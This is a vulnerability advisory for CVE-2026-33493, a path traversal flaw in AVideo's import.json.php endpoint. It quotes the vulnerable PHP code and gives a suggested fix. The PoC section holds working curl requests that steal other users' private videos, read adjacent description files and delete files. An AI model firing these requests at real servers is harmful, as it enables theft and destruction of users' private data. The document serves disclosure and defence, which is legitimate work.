CVE-2026-33493

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

// objects/import.json.php:12
if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) {
    return false;
}

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

// objects/listFiles.json.php:16-28
$allowedBase = realpath($global['systemRootPath'] . 'videos');
// ...
$resolvedPath = realpath($_POST['path']);
if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {
    http_response_code(403);
    echo json_encode(['error' => 'Path not allowed']);
    exit;
}

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via file_get_contents():

// objects/import.json.php:23-43
$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];
$extensions = ['txt', 'html', 'htm'];
foreach ($extensions as $value) {
    if (file_exists("{$filename}.{$value}")) {
        $html = file_get_contents("{$filename}.{$value}");
        $_POST['description'] = $html;
        // ...
        break;
    }
}

The content flows into $_POST['description'], which is then saved as the video description by upload.php:59-64:

// view/mini-upload-form/upload.php:59-64
if (!empty($_POST['description'])) {
    // ...
    $video->setDescription($_POST['description']);
}

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist, which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

// objects/import.json.php:47-49
$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
    // ...
}

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $_POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

// objects/import.json.php:54-61
if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {
    if (is_writable($source)) {
        unlink($source);
        foreach ($extensions as $value) {
            if (file_exists("{$filename}.{$value}")) {
                unlink("{$filename}.{$value}");
            }
        }
    }
}

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victim_video_abc123), which can be enumerated via the platform UI or API:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

Expected result: The response returns {"error":false, "videos_id": <new_id>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videos_id.

Step 2: Read another user's video description file

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

Expected result: If victim_video_abc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

• Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.
• File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information.
• File deletion: An attacker can delete other users' video files and metadata, causing data loss.
• Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-33493 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

// objects/import.json.php, add after line 14 (the preg_match check)
$allowedBase = realpath($global['systemRootPath'] . 'videos');
if ($allowedBase === false) {
    die(json_encode(['error' => 'Configuration error']));
}
$allowedBase .= '/';

$resolvedDir = realpath(dirname($_POST['fileURI']));
if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {
    http_response_code(403);
    die(json_encode(['error' => 'Path not allowed']));
}
// Reconstruct fileURI from resolved path to prevent symlink bypass
$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);

1. What is CVE-2026-33493? CVE-2026-33493 is a high-severity path traversal vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-33493? CVE-2026-33493 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33493? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-33493? No fixed version is listed for CVE-2026-33493 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33493 exploitable, and should I be worried? Whether CVE-2026-33493 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33493 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33493? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.